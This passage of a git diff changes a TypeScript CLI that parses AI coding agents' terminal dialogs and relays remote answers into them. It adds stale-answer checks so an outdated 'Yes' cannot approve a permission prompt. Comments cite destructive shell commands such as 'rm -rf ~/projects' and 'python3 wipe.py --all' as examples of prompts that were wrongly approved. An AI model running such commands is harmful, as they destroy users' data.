pinned id, alone+ })++ it('sweeps every captured dialog', () => {+ expect(ALL.length).toBeGreaterThanOrEqual(29)+ expect(ALL).toEqual(expect.arrayContaining([...OPEN, 'question-review.txt', 'question-commandcode-review.txt', 'question-opencode-review.txt']))+ })++ it.each(ALL)('%s: under every other captured dialog, answered, reads as it does alone', (file) => {+ const alone = readIn(file, paneOf(file))+ expect(alone).not.toBeNull()+ const own = ownDialog(file)+ expect(readIn(file, own)).toEqual(alone)+ for (const other of ALL.filter((name) => name !== file)) {+ // The whole capture under the other's whole capture, and this dialog alone right under the other's.+ expect({ other, read: readIn(file, [paneOf(other), paneOf(file)].join('\n')) }).toEqual({ other, read: alone })+ expect({ other, read: readIn(file, [paneOf(other).trimEnd(), own].join('\n')) }).toEqual({ other, read: alone })+ }+ })+})diff --git a/cli/src/lib/askQuestion.ts b/cli/src/lib/askQuestion.tsindex bdee25e44..1ce799322 100644--- a/cli/src/lib/askQuestion.ts+++ b/cli/src/lib/askQuestion.ts@@ -11,7 +11,9 @@* `commander_question`, in the SAME shape the hosted runtime sends, so the firmware's existing question* screen renders it unchanged (commanderQuestions in websocket.ts). NOT from the transcript —* see the QuestionWatcher docblock for why that source cannot work.- * IN the device's `question_response` → keystrokes into the pane's dialog.+ * IN the device's `question_response` → keystrokes into the pane's dialog — only once the dialog on+ * screen is shown to be the one that answer was for (its requestId); a late answer is refused+ * with STALE_QUESTION and types nothing.** Dialog mechanics (verified against Claude Code 2.1.220, `tmux capture-pane`):* - single-select : the option's digit selects AND submits, advancing to the next question / review.@@ -23,14 +25,15 @@import type { RegisteredSession } from './registry.js'import type { AgentEngine } from '../engines/types.js'-import { parseMuseQuestionPane } from '../engines/muse/askQuestion.js'+import { locateMuseQuestion } from '../engines/muse/askQuestion.js'import { ampSelectionKeys, parseAmpQuestionPane } from '../engines/amp/askQuestion.js'-import { kiloSelectionKeys, parseKiloQuestionPane } from '../engines/kilo/askQuestion.js'+import { kiloSelectionKeys, locateKiloQuestion, parseKiloQuestionPane } from '../engines/kilo/askQuestion.js'import { parseCursorPermissionPane } from '../engines/cursor/askQuestion.js'-import { parseDevinPermissionPane, parseDevinQuestionPane } from '../engines/devin/askQuestion.js'+import { locateDevinPermission, locateDevinQuestion } from '../engines/devin/askQuestion.js'import { parseGrokQuestionPane } from '../engines/grok/askQuestion.js'-import { parseAgyQuestionPane } from '../engines/agy/askQuestion.js'+import { locateAgyQuestion } from '../engines/agy/askQuestion.js'import { withCopilotSubject } from '../engines/copilot/askQuestion.js'+import { earlierDialogEnd, PERMISSION_FOOTER_RE, QUESTION_FOOTER_RE } from './dialogEnd.js'/** Device-facing question shape — byte-for-byte the hosted runtime’s `commanderQuestions()` output. */export interface ShapedQuestion {@@ -133,19 +136,44 @@ export function shapeQuestions(questions: unknown): ShapedQuestion[] {})}+/** A dialog one reader found, and the line it anchored on: what ranks two readers of the same pane. */+export interface FoundDialog {+ view: QuestionView | ReviewView+ at: number+}++function permissionView(view: PaneView): PaneView {+ return view?.kind === 'question' ? { ...view, permission: true } : view+}++function asPermission(found: FoundDialog | null): FoundDialog | null {+ return found && { ...found, view: permissionView(found.view) as QuestionView }+}+/**- * The dialog on screen, read the way `engine` paints it.+ * The LOWEST dialog any reader found: the live one. A pane keeps an answered dialog in its scrollback, and+ * an engine with two readers (a question and an approval, say) must never let the first reader's hit on+ * that one shadow the second reader's hit on the dialog under it: devin's approval under its answered+ * question, muse's approval under a question, opencode's question under an approval. A tie is one dialog+ * read twice, and the earlier reader, the engine's own, keeps it.+ */+function lowest(...found: Array<FoundDialog | null>): PaneView {+ let best: FoundDialog | null = null+ for (const f of found) if (f && (!best || f.at > best.at)) best = f+ return best?.view ?? null+}++/**+ * The dialog on screen, read the way `engine` paints it: the LAST one on the pane, and nothing of it from+ * above an earlier dialog's end (`dialogEnd.ts`).** Claude and Command Code share one shape (see parseQuestionPane); devin draws a different one and gets* its own parser rather than more branches in here.*/-function permissionView(view: PaneView): PaneView {- return view?.kind === 'question' ? { ...view, permission: true } : view-}export function parseEngineQuestionPane(engine: AgentEngine, capture: string): PaneView {// Devin's two dialogs are told apart by one word in the footer (`↵ select` vs `↵ confirm`), so they can- // never both match. Only one can be on screen anyway: answering either replaces it with a summary line.- if (engine === 'devin') return parseDevinQuestionPane(capture) ?? permissionView(parseDevinPermissionPane(capture))+ // never both match the same dialog; but an answered one of either kind can sit above the live one.+ if (engine === 'devin') return lowest(locateDevinQuestion(capture), asPermission(locateDevinPermission(capture)))// Cursor has no ask-the-user tool, so its permission prompt is the ONLY dialog it ever draws — and it// numbers nothing, stating each row's key in the row instead.if (engine === 'cursor') return permissionView(parseCursorPermissionPane(capture))@@ -153,22 +181,19 @@ export function parseEngineQuestionPane(engine: AgentEngine, capture: string): P// rows — both confuse the shared parser, so it reads its own. Its PERMISSION prompt is a different// dialog entirely (`Would you like to allow this network access?` over `1. Yes, proceed (y)` rows under// a `Press enter to confirm` footer, `__fixtures__/permission-muse.txt`) and that one the shared parser- // reads exactly, so it falls through rather than getting a parser of its own.- if (engine === 'muse') return parseMuseQuestionPane(capture) ?? parseQuestionPane(capture)+ // reads exactly, so it is read by both and the lower wins.+ if (engine === 'muse') return lowest(locateMuseQuestion(capture), locateQuestionPane(capture))// Amp's is a permission prompt with unnumbered rows — nothing the shared parser can anchor on.if (engine === 'amp') return permissionView(parseAmpQuestionPane(capture))// Kilo's is the same kind of prompt but laid out HORIZONTALLY, sharing its line with the key hints —// it is a fork of opencode that did not keep opencode's dialog.if (engine === 'kilo') return permissionView(parseKiloQuestionPane(capture))- if (engine === 'grok') {- const view = parseGrokQuestionPane(capture)- // Grok prints this footer only for tool approval, never its questionnaire.- return /always-approve|Ctrl\+o:/i.test(capture) ? permissionView(view) : view- }+ // Grok tells its approval from its questionnaire itself, by the live dialog's own footer.+ if (engine === 'grok') return parseGrokQuestionPane(capture)// agy's ask-the-user dialog anchors on `Question N/M:` under an `↑/↓ Navigate` footer, which the// shared parser cannot see. Its PERMISSION prompt is numbered rows under `Do you want to proceed?`- // and the shared parser reads that one exactly, so it falls through.- if (engine === 'agy') return parseAgyQuestionPane(capture) ?? parseQuestionPane(capture)+ // and the shared parser reads that one exactly, so it is read by both and the lower wins.+ if (engine === 'agy') return lowest(locateAgyQuestion(capture), locateQuestionPane(capture))// Hermes, OpenCode and Copilot paint the dialog inside a box; peel the border and the shared parser// fits. Measured on Copilot: framed it returns null, unframed it reads the question, the three// options AND spots `4. Other (type your answer)` as the free-text row rather than an option.@@ -176,17 +201,19 @@ export function parseEngineQuestionPane(engine: AgentEngine, capture: string): P// Copilot boxes its dialog the same way, but names the SUBJECT of a permission prompt above the// question — "attempting to access the following URL:" over a boxed value. Without it the device// shows "Do you want to allow this access?" and a bare "Yes", with nothing to judge.- if (engine === 'copilot') return withCopilotSubject(parseQuestionPane(unframe(capture)), capture)+ if (engine === 'copilot') {+ const found = locateQuestionPane(unframe(capture))+ return found ? withCopilotSubject(found.view, capture, found.at) : null+ }if (engine === 'opencode') {// OpenCode's PERMISSION prompt is the horizontal one kilo inherited from it — same `△ Permission// required` title, same `⇆ select · enter confirm` footer, same unnumbered rows. Measured: the live// capture in `permission-opencode.txt` parses through kilo's parser unchanged, so it is shared rather- // than copied. Tried FIRST because that dialog numbers nothing: the shared parser would still match- // its `enter confirm` footer and then walk up into whatever numbered rows the scrollback holds.- const permission = parseKiloQuestionPane(capture)- if (permission) return permissionView(permission)+ // than copied. Listed FIRST because that dialog numbers nothing: on its own dialog the shared parser+ // still matches the `enter confirm` footer and walks up into whatever numbered rows are above, and+ // the tie goes to kilo's reader.const plain = unframe(capture)- return opencodeReview(plain) ?? parseQuestionPane(plain)+ return lowest(asPermission(locateKiloQuestion(capture)), locateOpencodeReview(plain), locateQuestionPane(plain))}if (engine === 'codex') return withCodexLabels(parseQuestionPane(capture))return parseQuestionPane(capture)@@ -225,16 +252,17 @@ function withCodexLabels(view: PaneView): PaneView {* `submitRow` carries the KEY to press, which for every other CLI happens to be a digit — 'Enter' rides* the same field rather than widening the type for one engine.*/-function opencodeReview(plain: string): ReviewView | null {+function locateOpencodeReview(plain: string): FoundDialog | null {const lines = stripAnsi(plain).split('\n')const footer = lines.findLastIndex((l) => /enter\s+submit/i.test(l))if (footer < 0) return null+ const floor = earlierDialogEnd(lines, footer, 14)let sawReview = false- for (let i = footer - 1; i >= 0 && footer - i <= 14; i--) {+ for (let i = footer - 1; i > floor && footer - i <= 14; i--) {if (parseRow(lines[i])) return null // rows above ⇒ still a question, not the reviewif (/^\s*review\s*$/i.test(lines[i])) { sawReview = true; break }}- return sawReview ? { kind: 'review', submitRow: 'Enter' } : null+ return sawReview ? { view: { kind: 'review', submitRow: 'Enter' }, at: footer } : null}function unframe(capture: string): string {@@ -373,12 +401,6 @@ const APPROVE_RE = /^(yes|allow|approve|accept|proceed|run|continue)\b/i// row is "Tell Claude what to change". Keep `tell ... what to change` narrow so// an ordinary numbered list beginning with "Tell" cannot become an approval.const REJECT_RE = /^(no|reject|deny|decline|cancel|skip|don'?t|stop)\b|^tell\b.*\bwhat to change\b/i-/** The key hints a permission dialog prints under its rows: claude `Esc to cancel \u00b7 Tab to amend`,- * Command Code `\u2191/\u2193 navigate \u00b7 enter select \u00b7 ctrl+e explain`. Proximity to the rows is what makes this- * a guard and not a search \u2014 it must sit within a few lines UNDER them. */-// Claude's plan review footer changed from Esc/Tab hints to-// "shift+tab to approve with this feedback" plus ctrl+g.-const PERMISSION_FOOTER_RE = /\besc\b|enter\s+select|ctrl\+e|shift\+tab\s+to\s+approve/i/** The solid rule that opens the frame. Deliberately NOT the dashed one (`\u254c`) that brackets an edit diff,* which sits BELOW the header and would cost the title. */const FRAME_RULE_RE = /^\s*[\u2500\u2501\u2550]{6,}\s*$/@@ -388,6 +410,14 @@ const ANY_RULE_RE = /^\s*[\u2500\u2501\u2550\u254c\u2504\u2508-]{6,}\s*$/* header and the rows, and neither says what is being approved. */const PERMISSION_PROSE_RE = /^((do|would) you\b|press \[)/i+/** The opening rule of the frame the rows at `start` sit in, or -1 when they have none of their own. */+function frameTop(lines: string[], start: number, floor: number): number {+ for (let i = start - 1; i > floor && start - i <= 25; i--) {+ if (FRAME_RULE_RE.test(lines[i])) return i+ }+ return -1+}+/** Keep a synthesised title inside the device's `text[200]` buffer, with the tail marked as cut. */function clipTitle(value: string): string {return value.length <= 160 ? value : `${value.slice(0, 159)}\u2026`@@ -402,14 +432,13 @@ function clipTitle(value: string): string {* argument: the command, the file, or the sentence naming it.*/function permissionTitle(lines: string[], start: number): string {- let top = -1- for (let i = start - 1; i >= 0 && start - i <= 25; i--) {- if (FRAME_RULE_RE.test(lines[i])) { top = i; break }- }+ // The header must be THIS dialog's: never read past the end of an earlier one still in scrollback.+ const floor = earlierDialogEnd(lines, start, 25)+ const top = frameTop(lines, start, floor)// No frame above the rows (codex draws none): the nearest text is the dialog's own question, which// names the command outright. Better than inventing a header that is not on screen.if (top < 0) {- for (let i = start - 1; i >= 0 && start - i <= 4; i--) {+ for (let i = start - 1; i > floor && start - i <= 4; i--) {const line = lines[i].trim()if (line) return clipTitle(line)}@@ -472,6 +501,11 @@ export function parsePermissionPane(lines: string[]): { view: QuestionView; inde}export function parseQuestionPane(capture: string): PaneView {+ return locateQuestionPane(capture)?.view ?? null+}++/** `parseQuestionPane`, with the line its dialog was anchored on. */+function locateQuestionPane(capture: string): FoundDialog | null {const lines = stripAnsi(capture).replace(/\u00a0/g, ' ').split('\n')// Each CLI words its own footer, and OpenCode rewords it PER SCREEN — `enter submit` on a single// question, `enter toggle` on a multi-select, `enter confirm` on a step of a multi-question. They all@@ -480,7 +514,7 @@ export function parseQuestionPane(capture: string): PaneView {// __fixtures__/question-codex.txt). Without it that dialog was never a question at all here: the dial// showed nothing while the pane waited, and a question it DID show could never be closed, because// the watcher had no fingerprint to notice leaving.- const footer = lines.findLastIndex((l) => /enter to (select|confirm|submit)|enter\s+(submit|confirm|toggle)/i.test(l))+ const footer = lines.findLastIndex((l) => QUESTION_FOOTER_RE.test(l))// The review screen paints no footer and puts its rows BELOW the prompt, so it needs its own anchor.// Whichever anchor is LOWER on screen is the live one (the other is scrollback from an earlier step).const review = lines.findLastIndex((l) => /Ready to submit your answers/i.test(l))@@ -489,35 +523,43 @@ export function parseQuestionPane(capture: string): PaneView {// rows adjacent, in that order — because the summary lines above are numbered too and reading them as// options is how the device answered everything and then sat there, never submitting.const submit = findSubmitPair(lines)- // A permission prompt is a FOURTH anchor and gets ranked exactly like the other three: whichever sits- // lowest on screen is the live dialog. That ordering is what keeps the two apart in both directions —- // codex and hermes draw an approval whose footer the question anchor also matches, and there the footer- // is BELOW the rows, so the question path (which reads a better title off the same block) still wins.+ // Command Code paints the SAME dialog with no footer at all — the pane simply ends at the last option.+ // Its tab bar is the only thing above the rows that is unmistakably part of the dialog, so it anchors+ // that dialog, read DOWNWARD. Nothing else on either CLI's screen looks like "● X | ◯ Y" followed by a+ // numbered list, which is what keeps ordinary numbered output from being read as a question.+ const tabBar = findTabBarDialog(lines)+ // A permission prompt is one more anchor, and every anchor is ranked the same way: whichever sits+ // lowest on screen is the live dialog, the others are scrollback. That ordering is what keeps the two+ // apart in both directions — codex and hermes draw an approval whose footer the question anchor also+ // matches, and there the footer is BELOW the rows, so the question path (which reads a better title off+ // the same block) still wins. And a footer-less dialog under an answered one is the live one: anchored+ // on the answered one's footer instead, Command Code's question was announced as the OLD question.const permission = parsePermissionPane(lines)- if (permission && permission.index > footer && permission.index > review && permission.index > (submit?.index ?? -1)) {- return permission.view+ if (permission && permission.index > Math.max(footer, review, submit?.index ?? -1, tabBar)) {+ return { view: permission.view, at: permission.index }+ }+ if (tabBar > Math.max(footer, review, submit?.index ?? -1)) {+ const view = parseDownward(lines, tabBar)+ return view && { view, at: tabBar }}- if (review > footer) {+ if (review > footer && review > (submit?.index ?? -1)) {for (let i = review + 1; i < lines.length && i - review <= 10; i++) {const row = parseRow(lines[i])- if (row && /^submit answers$/i.test(row.label)) return { kind: 'review', submitRow: row.number }+ if (row && /^submit answers$/i.test(row.label)) return { view: { kind: 'review', submitRow: row.number }, at: review }}return null}- if (submit && submit.index > footer) return { kind: 'review', submitRow: submit.row }- // Command Code paints the SAME dialog with no footer at all — the pane simply ends at the last option.- // Its tab bar is the only thing above the rows that is unmistakably part of the dialog, so anchor on- // that and read DOWNWARD. Nothing else on either CLI's screen looks like "● X | ◯ Y" followed by a- // numbered list, which is what keeps ordinary numbered output from being read as a question.- const anchor = footer >= 0 ? footer : findTabBarDialog(lines)- if (anchor < 0) return null- if (footer < 0) return parseDownward(lines, anchor)+ if (submit && submit.index > footer) return { view: { kind: 'review', submitRow: submit.row }, at: submit.index }+ if (footer < 0) return null- // Rows belonging to this dialog: the numbered rows just above the footer, back to the row numbered 1.+ // Rows belonging to this dialog: the numbered rows just above the footer, back to the row numbered 1 —+ // and never from above an earlier dialog's end, which is where a dialog whose top is scrolled out of+ // the pane would otherwise borrow its first rows.const rows: QuestionRow[] = []let checkbox = false // `[ ]` / `[✔]` on a row ⇒ this question is multi-selectlet start = -1- for (let i = footer - 1; i >= 0 && footer - i <= 40; i--) {+ const floor = earlierDialogEnd(lines, footer, 40)+ for (let i = footer - 1; i > floor && footer - i <= 40; i--) {const row = parseRow(lines[i])if (!row) continuerows.unshift(row)@@ -526,7 +568,7 @@ export function parseQuestionPane(capture: string): PaneView {}const enterSubmits = /enter to submit answer/i.test(lines[footer])if (rows.length && start < 0 && enterSubmits) {- return { kind: 'question', partial: true, enterSubmits, question: '', rows, multi: checkbox, typeRow: null }+ return { view: { kind: 'question', partial: true, enterSubmits, question: '', rows, multi: checkbox, typeRow: null }, at: footer }}if (start < 0 || rows.length === 0) return null@@ -534,9 +576,11 @@ export function parseQuestionPane(capture: string): PaneView {// and its rows — `[tab bar | header chip] · blank · question · blank · rows` — so those, and a rule,// are the TOP of this frame. Stop there, never skip past: mid-repaint the question line can be blank// for one capture, and walking on would pick up the PREVIOUS question still sitting in scrollback and- // pair a stale title with the live options. An empty result just means "look again next tick".+ // pair a stale title with the live options. An empty result just means "look again next tick". The+ // end of an earlier dialog is a top too: its footer is not this dialog's question.let question = ''- for (let i = start - 1; i >= 0 && start - i <= 12; i--) {+ const top = earlierDialogEnd(lines, start, 12)+ for (let i = start - 1; i > top && start - i <= 12; i--) {const line = lines[i].trim()if (!line) continueif (/[←→]/.test(line) || /^[☐☒✔✓]/.test(line) || /^[─━-]{6,}$/.test(line)) break@@ -546,12 +590,15 @@ export function parseQuestionPane(capture: string): PaneView {const answerable = rows.filter((r) => !CHAT_ROW.test(r.label) && !TYPE_ROW.test(r.label))return {- kind: 'question',- ...(enterSubmits ? { enterSubmits } : {}),- question,- rows: answerable,- multi: checkbox,- typeRow: rows.find((r) => TYPE_ROW.test(r.label)) ?? null,+ view: {+ kind: 'question',+ ...(enterSubmits ? { enterSubmits } : {}),+ question,+ rows: answerable,+ multi: checkbox,+ typeRow: rows.find((r) => TYPE_ROW.test(r.label)) ?? null,+ },+ at: footer,}}@@ -594,17 +641,55 @@ export function matchRow(rows: QuestionRow[], answer: string): QuestionRow | nul?? null}-/** Pick the answer for the question the dialog is currently showing: by its own text, else positionally. */-export function pickAnswer(answers: Record<string, string>, question: string, used: Set<string>): { key: string; value: string } | null {+/**+ * Pick the answer for the question the dialog is currently showing: the entry keyed by its own text.+ *+ * `positional` also takes the next unused entry when none names it. Only for a dialog the answer's+ * requestId proves it was written for: without that proof, an answer that names no question on screen+ * belongs to one that is gone, and typing it here would answer — or approve — something nobody saw.+ *+ * The text must be the question's OWN (case, spacing and a trailing `…` aside), never a prefix either way.+ * An approval is titled `Approve <header>: <argument>` and the header is shared by every prompt of its+ * kind: a key left from an earlier prompt — `Approve Bash command` (its argument unread) — was a prefix of+ * `Approve Bash command: rm -rf ~/projects` and pressed Yes on it, and an old full title named a+ * header-only prompt the other way round. A client echoes back the key it was announced, so the whole+ * text is always there to match; one it has cut is answered through its requestId (`positional`).+ */+export function pickAnswer(+ answers: Record<string, string>,+ question: string,+ used: Set<string>,+ opts: { positional?: boolean } = {},+): { key: string; value: string } | null {const entries = Object.entries(answers)const q = norm(question)- const byText = entries.find(([k]) => norm(k) === q)- ?? (q.length >= 6 ? entries.find(([k]) => norm(k).startsWith(q) || q.startsWith(norm(k))) : undefined)+ const byText = q ? entries.find(([k]) => norm(k) === q) : undefinedif (byText && !used.has(byText[0])) return { key: byText[0], value: byText[1] }+ if (!opts.positional) return nullconst next = entries.find(([k]) => !used.has(k))return next ? { key: next[0], value: next[1] } : null}+/**+ * The id a dialog is announced under — the SAME function the watcher names it with, so the answer's+ * requestId can be checked against the dialog on screen at the moment of typing rather than against+ * whatever the watcher last saw (it polls every 1.5s, and forgets on a reset).+ */+export function questionRequestId(sessionId: string, view: QuestionView): string {+ return `q_${hash(sessionId + fingerprintOf(view))}`+}++/** Why an answer was not keyed. Sent back to the client as `question_response_result.error`. */+export type QuestionAnswerError = 'STALE_QUESTION' | 'AGENT_NOT_FOUND' | 'ANSWER_BUSY' | 'ANSWER_FAILED'++export type QuestionAnswerResult = { ok: true } | { ok: false; error: QuestionAnswerError; detail: string }++const STALE_CHANGED: QuestionAnswerResult = { ok: false, error: 'STALE_QUESTION', detail: 'That question changed before your answer arrived.' }+const STALE_GONE: QuestionAnswerResult = { ok: false, error: 'STALE_QUESTION', detail: 'That question is no longer open.' }+const failed = (detail: string): QuestionAnswerResult => ({ ok: false, error: 'ANSWER_FAILED', detail })+const KEYS_FAILED = failed('The answer could not be typed into the agent\'s terminal.')+const STUCK = failed('The question did not take the answer.')+export interface AskQuestionDeps {getSession: (sessionId: string) => RegisteredSession | undefinedcapture: (terminalTarget: string, historyLines?: number) => Promise<string | null>@@ -641,23 +726,24 @@ export class AskQuestionController {this.pending.set(requestId, sessionId)}- async answer(payload: QuestionAnswerPayload): Promise<boolean> {+ async answer(payload: QuestionAnswerPayload): Promise<QuestionAnswerResult> {const requestId = payload.requestId ?? ''- const sessionId = payload.sessionId || payload.agentId || this.pending.get(requestId) || ''+ const remembered = this.pending.get(requestId)+ const sessionId = payload.sessionId || payload.agentId || remembered || ''const answers = payload.answers && typeof payload.answers === 'object' ? payload.answers : nullif (!sessionId || !answers || Object.keys(answers).length === 0) {console.warn(`[question] ignoring answer with no session/answers (req=${requestId})`)- return false+ return failed('The answer named no agent or carried no choice.')}const session = this.deps.getSession(sessionId)const terminalTarget = session?.agentId || session?.sessionIdif (!terminalTarget) {console.warn(`[question] no terminal target for ${sessionId.slice(0, 8)} — answer dropped`)- return false+ return { ok: false, error: 'AGENT_NOT_FOUND', detail: 'That agent is no longer running.' }}if (this.driving.has(sessionId)) {console.warn(`[question] ${sessionId.slice(0, 8)} answer dropped · already driving this dialog`)- return false+ return { ok: false, error: 'ANSWER_BUSY', detail: 'Another answer is already being entered for this agent.' }}// `forAnswer`: a dialog is the engine waiting for input mid-turn, so the open turn must not block it.const release = this.deps.acquireControl?.(terminalTarget, { forAnswer: true })@@ -665,63 +751,106 @@ export class AskQuestionController {// nothing keys it in, and the pane sits on the dialog looking like a hung agent.if (this.deps.acquireControl && !release) {console.warn(`[question] ${sessionId.slice(0, 8)} answer dropped · terminal control unavailable`)- return false+ return { ok: false, error: 'ANSWER_BUSY', detail: 'The agent\'s terminal is busy. Try again.' }}+ // The ids the watcher could have announced this dialog under: the session it was remembered for, and+ // the session as the registry knows it now.+ const owners = [...new Set([remembered, session?.sessionId].filter((id): id is string => !!id))]this.driving.add(sessionId)try {- const ok = await this.drive(terminalTarget, answers, this.deps.getSession(sessionId)?.engine ?? 'claude', payload.allowPermissions !== false)+ const result = await this.drive(terminalTarget, answers, this.deps.getSession(sessionId)?.engine ?? 'claude', payload.allowPermissions !== false, { requestId, owners })this.pending.delete(requestId)- console.log(`[question] ${sessionId.slice(0, 8)} answered from device · ${ok ? 'submitted' : 'FAILED'}`)- return ok+ const outcome = result.ok ? 'submitted' : result.error === 'STALE_QUESTION' ? 'refused · STALE_QUESTION, nothing typed' : 'FAILED'+ console.log(`[question] ${sessionId.slice(0, 8)} answered from device · ${outcome} (req=${requestId || 'none'})`)+ return result} finally {this.driving.delete(sessionId)release?.()}}- /** Key the answers into the pane's dialog, question by question, ending on the review screen. */- private async drive(terminalTarget: string, answers: Record<string, string>, engine: AgentEngine, allowPermissions = true): Promise<boolean> {+ /**+ * Key the answers into the pane's dialog, question by question, ending on the review screen.+ *+ * Nothing is typed until the dialog on screen is shown to be the question the answer was written for:+ * its requestId when the answer carries one, else its own text. An answer can arrive late — the agent+ * moved on, another client answered, the next question of the form is up — and positionally matching+ * it to whatever is showing now is how a person's "Yes" lands on a permission prompt they never saw.+ */+ private async drive(+ terminalTarget: string,+ answers: Record<string, string>,+ engine: AgentEngine,+ allowPermissions: boolean,+ asked: { requestId: string; owners: string[] },+ ): Promise<QuestionAnswerResult> {const wait = this.deps.wait ?? sleepconst used = new Set<string>()let lastQuestion = ''let repeats = 0+ let blanks = 0let answered = 0for (let step = 0; step < MAX_STEPS; step++) {const capture = await this.deps.capture(terminalTarget, CAPTURE_LINES)const view = parseEngineQuestionPane(engine, capture ?? '')if (!view) {- // Nothing on screen: either the dialog was never open, or the last keystroke submitted it.- return answered > 0+ // Nothing on screen: either the dialog was already gone, or the last keystroke submitted it.+ return answered > 0 ? { ok: true } : STALE_GONE}- if (!allowPermissions && view.kind === 'question' && view.permission) return false+ if (!allowPermissions && view.kind === 'question' && view.permission) return failed('Permission prompts cannot be answered from here.')if (view.kind === 'question' && view.partial) {// The dialog's top is out of the pane. If we have keyed an answer it has not been taken yet;// give the TUI a beat. If we have not, there is nothing to match an answer against.- if (answered === 0) { console.warn('[question] dialog scrolled out of view — cannot key an answer'); return false }- if (++repeats >= 2) { console.warn('[question] dialog stuck (scrolled)'); return false }+ if (answered === 0) { console.warn('[question] dialog scrolled out of view — cannot key an answer'); return failed('The question is scrolled out of view.') }+ if (++repeats >= 2) { console.warn('[question] dialog stuck (scrolled)'); return STUCK }await wait(STEP_MS)continue}if (view.kind === 'review') {- if (!allowPermissions && answered === 0) return false- return this.deps.sendKey(terminalTarget, view.submitRow)+ // Reached by our own keys, this submits the form. Reached first, it means every question was+ // answered somewhere else — submitting would send answers this person never gave.+ if (answered === 0) return STALE_GONE+ return await this.deps.sendKey(terminalTarget, view.submitRow) ? { ok: true } : failed('The answers could not be submitted.')}+ // Mid-repaint the question line can read blank for a capture (see parseQuestionPane). Neither its id+ // nor its text can be checked against a blank, so look again rather than judge the dialog by it.+ if (!view.question) {+ if (++blanks > 2) return answered > 0 ? { ok: true } : failed('The question could not be read.')+ await wait(STEP_MS)+ continue+ }+ blanks = 0// The same question still showing after we acted on it: give the TUI one more beat to repaint,// then treat it as stuck rather than hammering the pane with more keystrokes. Never consume a// second answer for it.- if (view.question && view.question === lastQuestion) {- if (++repeats >= 2) { console.warn(`[question] dialog stuck on "${view.question.slice(0, 60)}"`); return false }+ if (view.question === lastQuestion) {+ if (++repeats >= 2) { console.warn(`[question] dialog stuck on "${view.question.slice(0, 60)}"`); return STUCK }await wait(STEP_MS)continue}repeats = 0lastQuestion = view.question+ // Is this the question the answer was for? Only the FIRST one needs the id: every later screen is+ // one our own keys advanced to, and must be named by its text (below).+ let positional = false+ if (answered === 0 && asked.requestId) {+ if (!asked.owners.some((owner) => questionRequestId(owner, view) === asked.requestId)) {+ console.warn(`[question] answer for req=${asked.requestId} arrived after the dialog changed to "${view.question.slice(0, 60)}" — nothing typed`)+ return STALE_CHANGED+ }+ positional = true+ }+// Out of answers with the dialog still up = a multi-QUESTION dialog whose next question the device// hasn't been shown yet. Leave it open: the watcher pushes that one and the device answers it next.- const picked = pickAnswer(answers, view.question, used)- if (!picked) return answered > 0+ const picked = pickAnswer(answers, view.question, used, { positional })+ if (!picked) {+ if (answered > 0) return { ok: true }+ console.warn(`[question] no answer names "${view.question.slice(0, 60)}" — nothing typed`)+ return STALE_CHANGED+ }used.add(picked.key)answered++@@ -732,13 +861,13 @@ export class AskQuestionController {for (const label of labels) {const row = matchRow(view.rows, label)if (!row || row.checked) continue- if (!await this.deps.sendKey(terminalTarget, row.number)) return false+ if (!await this.deps.sendKey(terminalTarget, row.number)) return KEYS_FAILEDawait wait(TEXT_MS)toggled++}if (!toggled && view.typeRow- && !await this.typeFreeText(terminalTarget, view.typeRow, picked.value, wait)) return false- if (!await this.deps.sendKey(terminalTarget, multiSubmitKey(engine))) return false // advance to the next question / review+ && !await this.typeFreeText(terminalTarget, view.typeRow, picked.value, wait)) return KEYS_FAILED+ if (!await this.deps.sendKey(terminalTarget, multiSubmitKey(engine))) return KEYS_FAILED // advance to the next question / reviewawait wait(STEP_MS)continue}@@ -748,17 +877,17 @@ export class AskQuestionController {// One digit selects AND submits — except on Amp, whose rows are unnumbered and reached by// walking the list, so this is a short sequence rather than a single key.for (const key of rowKeys(engine, row, view)) {- if (!await this.deps.sendKey(terminalTarget, key)) return false+ if (!await this.deps.sendKey(terminalTarget, key)) return KEYS_FAILEDawait wait(TEXT_MS)}await wait(STEP_MS)continue}- if (!view.typeRow) { console.warn(`[question] no option matched "${picked.value.slice(0, 40)}" and no free-text row`); return false }- if (!await this.typeFreeText(terminalTarget, view.typeRow, picked.value, wait)) return false+ if (!view.typeRow) { console.warn(`[question] no option matched "${picked.value.slice(0, 40)}" and no free-text row`); return failed('That answer matches no option.') }+ if (!await this.typeFreeText(terminalTarget, view.typeRow, picked.value, wait)) return KEYS_FAILEDawait wait(STEP_MS)}- return false+ return STUCK}/** True while a dialog is being keyed — the watcher pauses so a half-driven dialog isn't re-announced. */@@ -984,8 +1113,10 @@ export class QuestionWatcher {// A pane-derived question has no tool_use id. The key only has to round-trip through the device and// back (the answer is keyed into the pane, not matched to a tool call), so the question's own text- // serves as both — and the device dedups a repeated push by this id.- const requestId = `q_${hash(sessionId + fingerprint)}`+ // serves as both — and the device dedups a repeated push by this id. The answer brings the id back,+ // and AskQuestionController recomputes it off the live pane before typing: a different id there+ // means a different dialog, and the answer is refused (STALE_QUESTION) instead of keyed into it.+ const requestId = questionRequestId(sessionId, view)this.lastId.set(sessionId, requestId)this.deps.onQuestion(sessionId, requestId, [{key: view.question,diff --git a/cli/src/lib/dialogEnd.ts b/cli/src/lib/dialogEnd.tsnew file mode 100644index 000000000..b71624781--- /dev/null+++ b/cli/src/lib/dialogEnd.ts@@ -0,0 +1,79 @@+/**+ * Where an EARLIER dialog ends on a pane: the one bound every engine's pane reader shares.+ *+ * A pane keeps an answered dialog in its scrollback and paints the next one under it, so the live dialog is+ * always the LAST one on screen. Every reader anchors low (a footer, the bottom-most rows) and walks UP for+ * the rest: the question, the title, the command, a frame's top. Nothing at or above an earlier dialog's+ * end belongs to the live one. Read across it, an unframed prompt was titled by the PREVIOUS prompt's+ * header and command (`Approve Bash command: npm test` over `python3 wipe.py --all`), under that prompt's+ * very requestId.+ *+ * A dialog ends in its key hints on a line of their own, right under its rows. Both halves are needed:+ * prose can mention a key (`Make Esc close the modal`), and a numbered list is not a dialog. Every engine's+ * spelling is known here, not only the reader's own, because what sits above the live dialog is whatever+ * the pane showed last.+ *+ * Separate from `askQuestion.ts` because the engines' readers use it and `askQuestion.ts` imports them.+ */++/** A live dialog's footer, the shared reader's anchor (`parseQuestionPane`). Each CLI words its own, and+ * OpenCode rewords it per screen (`enter submit`, `enter toggle`, `enter confirm`); Codex's+ * request_user_input says `enter to submit answer`. */+export const QUESTION_FOOTER_RE = /enter to (select|confirm|submit)|enter\s+(submit|confirm|toggle)/i++/** The key hints a permission dialog prints under its rows: claude `Esc to cancel · Tab to amend`,+ * Command Code `↑/↓ navigate · enter select · 